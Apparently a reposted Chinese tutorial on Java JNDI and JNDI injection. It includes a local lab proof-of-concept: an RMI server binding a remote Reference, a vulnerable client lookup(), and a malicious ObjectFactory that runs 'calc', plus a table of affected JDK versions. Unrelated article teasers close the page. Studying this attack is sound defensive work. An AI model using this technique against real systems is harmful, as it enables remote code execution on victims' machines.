【java安全】JNDI注入概述

文章目录

    • 【java安全】JNDI注入概述
      • 什么是JNDI?
      • JDNI的结构
        • InitialContext - 上下文
        • Reference - 引用
      • JNDI注入
        • JNDI & RMI
          • 利用版本:
          • JNDI注入使用Reference

【java安全】JNDI注入概述

什么是JNDI?

JNDI(Java Naming and Directory Interface)Java提供的Java命名和目录接口。通过调用JNDIAPI可以定位资源和其他程序对象。

命名服务将名称和对象联系起来,使得我们可以用名称访问对象

JDNI的结构

jndi的作用主要在于"定位"。比如定位rmi中注册的对象,访问ldap的目录服务等等

其实就可以理解为下面这些服务的一个客户端:

image-20230819204116339

有这么几个关键元素

  • Name,要在命名系统中查找对象,请为其提供对象的名称
  • Bind,名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
  • Context,上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
  • References,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针

这些命名/目录服务提供者:

协议作用
LDAP轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMIJAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS域名服务
CORBA公共对象请求代理体系结构

Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 ContextBindingsReferences、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

InitialContext - 上下文

构造方法:

//构建一个初始上下文。
InitialContext() 
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy) 
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment) 

常用方法:

//将名称绑定到对象。 
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//检索命名对象。
lookup(String name)  
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name)  

示例:

import javax.naming.InitialContext;
import javax.naming.NamingException;public class jndi {public static void main(String[] args) throws NamingException {// 构建初始上下文InitialContext initialContext = new InitialContext();// 查询命名对象String uri = "rmi://127.0.0.1:1099/work";initialContext.lookup(uri);}
}

Reference - 引用

Reference类表示对存在于命名/目录系统以外的对象的引用,具体则是指如果远程获取RMI服务器上的对象为Reference类或者其子类时,则可以从其他服务器上加载class字节码文件来实例化。

构造方法:

//为类名为“className”的对象构造一个新的引用。
Reference(String className) 
//为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)/*
参数:
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

常用方法:

//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr) 
//将地址添加到地址列表的末尾。 
void add(RefAddr addr) 
//从此引用中删除所有地址。  
void clear() 
//检索索引posn上的地址。 
RefAddr get(int posn) 
//检索地址类型为“addrType”的第一个地址。  
RefAddr get(String addrType) 
//检索本参考文献中地址的列举。 
Enumeration<RefAddr> getAll() 
//检索引用引用的对象的类名。 
String getClassName() 
//检索此引用引用的对象的工厂位置。  
String getFactoryClassLocation() 
//检索此引用引用对象的工厂的类名。  
String getFactoryClassName() 
//从地址列表中删除索引posn上的地址。    
Object remove(int posn) 
//检索此引用中的地址数。 
int size() 
//生成此引用的字符串表示形式。
String toString() 

示例:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class jndi {public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {String url = "http://127.0.0.1:8080"; Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("test", "test", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("aa",referenceWrapper);}
}

这里创建完Reference后又调用了ReferenceWrapper将其传进去了,为什么这么做呢?

因为我们前面学习RMI的时候,将类注册到Registry使用的类必须继承UnicastRemoteObject类以及实现Remote接口

但是我们这里Reference没有满足,所以需要使用ReferenceWrapper将其封装一下

public class Reference implements Cloneable, java.io.Serializable
...
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference 

JNDI注入

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

JNDI注入的过程如下:

  • 客户端程序调用了InitialContext.lookup(url)并且url可以被输入控制,指向精心构造好的RMI服务地址
  • 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类
  • 当客户端执行lookup时,客户端会获取相应的object factory,通过factory.getObjectInstance()获取外部远程对象的实例
  • 攻击者在Factory类文件的构造方法,静态代码块,getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果
  • 既然要用到Factory,那么恶意类需要实现ObjectFactory接口

具体攻击流程图:

image-20230819222344477

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议JDK6JDK7JDK8JDK11
LADP6u211以下7u201以下8u191以下11.0.1以下
RMI6u132以下7u122以下8u113以下

JNDI & RMI

利用版本:

JDK 6u1327u1228u113之前可以

JNDI注入使用Reference

首先搭建一个服务端:RMIServer

服务端的创建,按步骤来

  • 首先是注册中心
  • 然后是恶意类所在地址
  • 接着是创建Reference对象引用,绑定恶意类的地址
  • 绑定Name
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);String url = "http://127.0.0.1:1098/";Reference reference = new Reference("EvilClass", "EvilClass", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("class",referenceWrapper);}
}

然后搭建一个客户端RMIClient(客户端也是受害端):

import javax.naming.InitialContext;
import javax.naming.NamingException;public class RMIClient {public static void main(String[] args) throws NamingException {InitialContext context = new InitialContext();String url = "rmi://127.0.0.1:1099/class";context.lookup(url);}
}

然后需要创建一个恶意类:

实现ObjectFactory接口,把恶意代码写在getObjectInstance里面

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;public class EvilClass implements ObjectFactory {static {System.out.println("hello,static~");}public EvilClass() throws IOException {System.out.println("constructor~");}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {Runtime.getRuntime().exec("calc");System.out.println("hello,getObjectInstance~");return null;}
}

搭建好了以后我们首先运行服务端:(注意jdk版本)

image-20230820155446021

然后我们将EvilClass编译一下,使用python开启一个http服务:

image-20230820155647771

接着我们运行客户端RMIClient:

image-20230820155815498

我们发现已经成功执行代码了,并且是在客户端执行的

可以参考这张思维导图:

image-20221028115108761

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/81592.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

图数据库Neo4j学习五渲染图数据库neo4jd3

文章目录 1.现成的工具2.Neo4j JavaScript Driver3.neovis4.neo4jd34.1neo4jd3和neovis对比4.2获取neo4jd34.3neo4jd3的数据结构4.4Spring data neo4.4.1 定义返回数据格式4.4.1.1NeoResults4.4.1.2GraphVO4.4.1.3NodeVO4.4.1.4ShipVO 4.4.2 SDN查询解析4.4.2.1 Repo查询语句4.…

element-ui中的el-table合并单元格

描述&#xff1a; 在写项目的时候有时候会经常遇到把行和列合并起来的情况&#xff0c;因为有些数据是重复渲染的&#xff0c;不合并行列会使表格看起来非常的混乱&#xff0c;如下&#xff1a; 而我们想要的数据是下面这种情况&#xff0c;将重复的行进行合并&#xff0c;使表…

stm32串口通信(PC--stm32;中断接收方式;附proteus电路图;开发方式:cubeMX)

单片机型号STM32F103R6: 最后实现的效果是&#xff0c;开机后PC内要求输入1或0&#xff0c;输入1则打开灯泡&#xff0c;输入0则关闭灯泡&#xff0c;输入其他内容则显示错误&#xff0c;值得注意的是这个模拟的东西只能输入英文 之所以用2个LED灯是因为LED电阻粗略一算就是1…

【考研数学】矩阵、向量与线性方程组解的关系梳理与讨论

文章目录 引言一、回顾二、梳理齐次线性方程组非齐次线性方程组 写在最后 引言 两个原因让我想写这篇文章&#xff0c;一是做矩阵题目的时候就发现这三货经常绑在一起&#xff0c;让人想去探寻其中奥秘&#xff1b;另一就是今天学了向量组的秩&#xff0c;让我想起来了之前遗留…

Linux后门大全-xinetd后门(二)

环境 靶机&#xff1a;centos7.6 攻击机&#xff1a;Linux 使用docker搭建靶机环境&#xff0c;当然也可以不使用docker&#xff0c;直接跳过创建容器的步骤即可 创建容器 #创建名为backdoorT4的特权容器&#xff0c;并使用/usr/sbin/init&#xff0c;因为容器默认不开启sy…

java:Servlet

背景 我们访问浏览器访问一个地址&#xff0c;最终是访问到了这个 java 类&#xff0c;而 java 是运行在 Tomcat 上的&#xff0c;所以 Tomcat 作为一个服务器会把这个访问地址指向这个类中&#xff0c;这个类就是 Servlet&#xff0c;Servlet 就是一个具有一定规范的类&#x…

牡丹宣言|对国潮化妆品品牌的理解

化妆品的国潮概念&#xff1f; ■ 是中国的时代潮流。 ■ 是传统元素与现代元素的碰撞。 ■ 是一股年轻的力量。 ■ 是大国崛起的象征。 ■ 是中国文化自信的体现。 如何正确认知化妆品&#xff1f; ■ 化妆品不是药品 ■ 化妆品是一种观念 ■ 化妆品是一种习惯 ■ 化…

【科研】-- 如何将Endnote中参考文献格式插入到Word?

文章目录 如何将Endnote中参考文献格式插入到Word&#xff1f; 如何将Endnote中参考文献格式插入到Word&#xff1f; 1、首先确保Endnote和Word安装正确&#xff0c;正常可以从学校官网中下载到正版软件&#xff0c;下载后在word栏目中会出现EndNote的标签&#xff1b; 2、可…

Python使用pyqt5写windows桌面应用实战教程

本篇文章主要讲解,Python使用pyqt5写windows桌面应用的详细实战教程文章,主要涵盖单个界面的布局构建说明,表单构建说明,数据交互构建说明以及可直接开发的简易多界面框架实例构建说明,能够让你很快的了解pyqt在python中的使用和构建方式,快速实现一个简单的windows桌面图…

特殊的矩阵与特殊的矩阵关系———实对称、正定、对角、零矩阵

一、特殊的矩阵 1、实对称矩阵 定义&#xff1a;都是实数&#xff0c;且 性质&#xff1a; &#xff08;1&#xff09;可以用特征值来求A的大小 &#xff08;2&#xff09;可以得到A的秩 &#xff08;3&#xff09;必定可以相似对角化 运用&#xff1a; 与实对称矩阵A合同的矩…

【云原生】Docker私有仓库 RegistryHabor

目录 1.Docker私有仓库&#xff08;Registry&#xff09; 1.1 Registry的介绍 1.2 Registry的部署 步骤一&#xff1a;拉取相关的镜像 步骤二&#xff1a;进行 Registry的相关yml文件配置&#xff08;docker-compose&#xff09; 步骤三&#xff1a;镜像的推送 2. Regist…

centos7安装hadoop 单机版

1.解压 &#xff08;1&#xff09;将hadoop压缩包复制到/opt/software路径下 &#xff08;2&#xff09;解压hadoop到/opt/module目录下 [rootkb135 software]# tar -zxvf hadoop-3.1.3.tar.gz -C /opt/module/ &#xff08;3&#xff09;修改hadoop属主和属组 [rootkb135 m…